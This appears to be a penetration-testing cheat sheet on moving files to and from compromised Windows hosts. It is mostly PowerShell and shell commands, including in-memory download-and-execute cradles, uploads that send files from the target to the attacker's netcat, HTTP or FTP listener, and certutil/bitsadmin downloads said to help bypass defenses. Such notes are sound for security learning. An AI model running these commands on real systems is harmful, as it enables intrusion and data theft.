# Windows - File Transfer

Transferring files to or from Windows machines is crucial in various scenarios. Below are some methods for file transfer that could help to accomplish it and even bypass defenses:

## &#x20;<mark style="color:orange;">Download to PowerShell</mark>

* &#x20;Using base64 encoding

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">#On our machine
md5sum $file    #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line

#On the target machine
<strong>PS\> [IO.File]::WriteAllBytes("C:\Users\Public\$file", [Convert]::FromBase64String("$b64String"))
</strong><strong>PS\> Get-FileHash C:\Users\Public\i$file -Algorithm md5 #Check hash to confirm the integrity of the file
</strong></code></pre>

***

* From the web to the target system

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash"><strong>PS\> (New-Object Net.WebClient).DownloadFile('$fileURL','$outFile')
</strong>PS\> Invoke-WebRequest $fileURL -OutFile $outFile #Alternative, little slower

#If the user Agent is blacklisted we can change it
PS C:\htb> Invoke-WebRequest $fileURL -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "$outFile"
</code></pre>

{% hint style="info" %}
This could also work from a server that we have mounted on our machine
{% endhint %}

***

* Download and execute it directly in memory (fileless)

{% code overflow="wrap" lineNumbers="true" %}

```bash
PS\> IEX (New-Object Net.WebClient).DownloadString('$fileURL')
PS\> (New-Object Net.WebClient).DownloadString('$fileURL') | IEX #Alternative
```

{% endcode %}

***

* Overpassing parsing errors

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">PS\> Invoke-WebRequest https://$URL/$file | IEX #Got a parsing error
<strong>PS\> Invoke-WebRequest https://$URL/$file -UseBasicParsing | IEX #This solves
</strong></code></pre>

## &#x20;<mark style="color:orange;">Download using SMB</mark>

* Mount an SMB server on our machine to share files and download them on the target machine

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On our machine
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

#On the target machine
PS\> net use n: \\$IP\share /user:test test
PS\> Copy-Item n:\$file
```

{% endcode %}

## <mark style="color:orange;">Download using FTP</mark>

* Mount an FTP server on our machine to share files and download them on the target machine

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On our machine
sudo pip install pyftpdlib #Install ftp server module
sudo python -m pyftpdlib --port 21 #Mount server 

#On the target machine
PS\> (New-Object Net.WebClient).DownloadFile('ftp://$IP/$file', 'C:\Users\Public\$file')
```

{% endcode %}

***

* When not having an interactive terminal, a script can be created

{% code overflow="wrap" lineNumbers="true" %}

```bash
PS\> echo open $IP > ftpcommand.txt
PS\> echo USER anonymous >> ftpcommand.txt
PS\> echo binary >> ftpcommand.txt
PS\> echo GET $file >> ftpcommand.txt
PS\> echo bye >> ftpcommand.txt
PS\> ftp -v -n -s:ftpcommand.txt #Execute script in the server

PS\>type $file #Confirm the file have been transferred
```

{% endcode %}

## <mark style="color:orange;">Upload from PowerShell</mark>

* &#x20;Using base64 encoding

{% code overflow="wrap" lineNumbers="true" %}

```bash
# On the target machine
PS\> Get-FileHash $pathToFile -Algorithm md5 #Check hash of the file
PS\> [Convert]::ToBase64String((Get-Content -path "C$pathToFile" -Encoding byte))

#On our machine
echo $b64String | base64 -d > $file
md5sum $file #Check hash to confirm the integrity of the file
```

{% endcode %}

***

* From the target system to a web&#x20;

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On our machine
pip3 install uploadserver
python3 -m uploadserver

#On the target system
PS\> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS\> Invoke-FileUpload -Uri http://$IP:$port/upload -File $pathToFile
```

{% endcode %}

***

* Use base64 encoding to send a web request and catch it with [*Netcat*](https://kryptocoder.gitbook.io/hacking-knowledge/networks/tools-and-utilities#netcat)

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On our machine
nc -nvlp $port

#On the target system
PS\> $b64 = [System.convert]::ToBase64String((Get-Content -Path '$pathToFile' -Encoding Byte))
PS\> Invoke-WebRequest -Uri http://$IP:$port/ -Method POST -Body $b64
```

{% endcode %}

## <mark style="color:orange;">Upload using SMB</mark>

* Mount an SMB server on our machine to share files and download them on the target machine

{% code overflow="wrap" lineNumbers="true" %}

```bash
#On our machine
sudo pip install wsgidav
sudo pip install cheroot

sudo wsgidav --host=0.0.0.0 --port=$port --root=/tmp --auth=anonymous

#On the target machine
PS\> dir \\$IP\DavWWWRoot
PS\> Copy-Item $pathToFile \\$IP\DavWWWRoot\
```

{% endcode %}

## <mark style="color:orange;">Upload using FTP</mark>

* Mount an FTP server on our machine to share files and download them on the target machine

<pre class="language-bash" data-overflow="wrap" data-line-numbers><code class="lang-bash">#On our machine
sudo pip install pyftpdlib #Install ftp server module
<strong>sudo python -m pyftpdlib --port 21 --write
</strong>
<strong>#On the target machine
</strong>PS\> (New-Object Net.WebClient).UploadFile('ftp://$IP/$fileName', '$pathToFile')
</code></pre>

* When not having an interactive terminal, a script can be created

{% code overflow="wrap" lineNumbers="true" %}

```bash
PS\> echo open $IP > ftpcommand.txt
PS\> echo USER anonymous >> ftpcommand.txt
PS\> echo binary >> ftpcommand.txt
PS\> echo PUT $file >> ftpcommand.txt
PS\> echo bye >> ftpcommand.txt
PS\> ftp -v -n -s:ftpcommand.txt
```

{% endcode %}

## <mark style="color:orange;">Transfer between Windows hosts using a PowerShell remote session and WinRM</mark>

* When we have compromised a host and gained access to the *Administrator* user or any user in the *Remote Management Users* group

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS\> Test-NetConnection -ComputerName <target> -Port 5985 #Confirm WinRM is open
$Session = New-PSSession -ComputerName <target>
Copy-Item -Path <pathToFile> -ToSession $Session -Destination <destinationPath> #From our host to the target
Copy-Item -Path <pathToFile> -Destination <destinationPath> -FromSession $Session #From the target to our host
```

{% endcode %}

{% hint style="warning" %}
The usual $ symbols that are used to point out the things we have to change are replaced by <> due to the use of this symbol as a reserved operator in PHP
{% endhint %}

## <mark style="color:orange;">Upload using the RDP protocol</mark>

* If we can mount a local resource on the target RDP server

{% code overflow="wrap" lineNumbers="true" %}

```powershell
rdesktop $IP -d $domain -u $user -p '$password' -r disk:linux='$pathToFile'
#Alternative
xfreerdp /v:$IP /d:$domain /u:$user /p:'$password' /drive:linux,$pathToFile
cd \\tsclient\linux  #Access mounted directory
```

{% endcode %}

## <mark style="color:orange;">Download using integrated Windows Binaries</mark>

* Using *bitsadmin*

<pre class="language-powershell" data-overflow="wrap" data-line-numbers><code class="lang-powershell"><strong>PS\> bitsadmin /transfer wcb /priority foreground $urlToFile $outFile
</strong>PS\> Import-Module bitstransfer; Start-BitsTransfer -Source "urlToFile" -Destination "$outFile" #If not preinstalled
</code></pre>

***

* Using *certutil*

{% code overflow="wrap" lineNumbers="true" %}

```powershell
PS\> certutil.exe -verifyctl -split -f $urlToFile
```

{% endcode %}
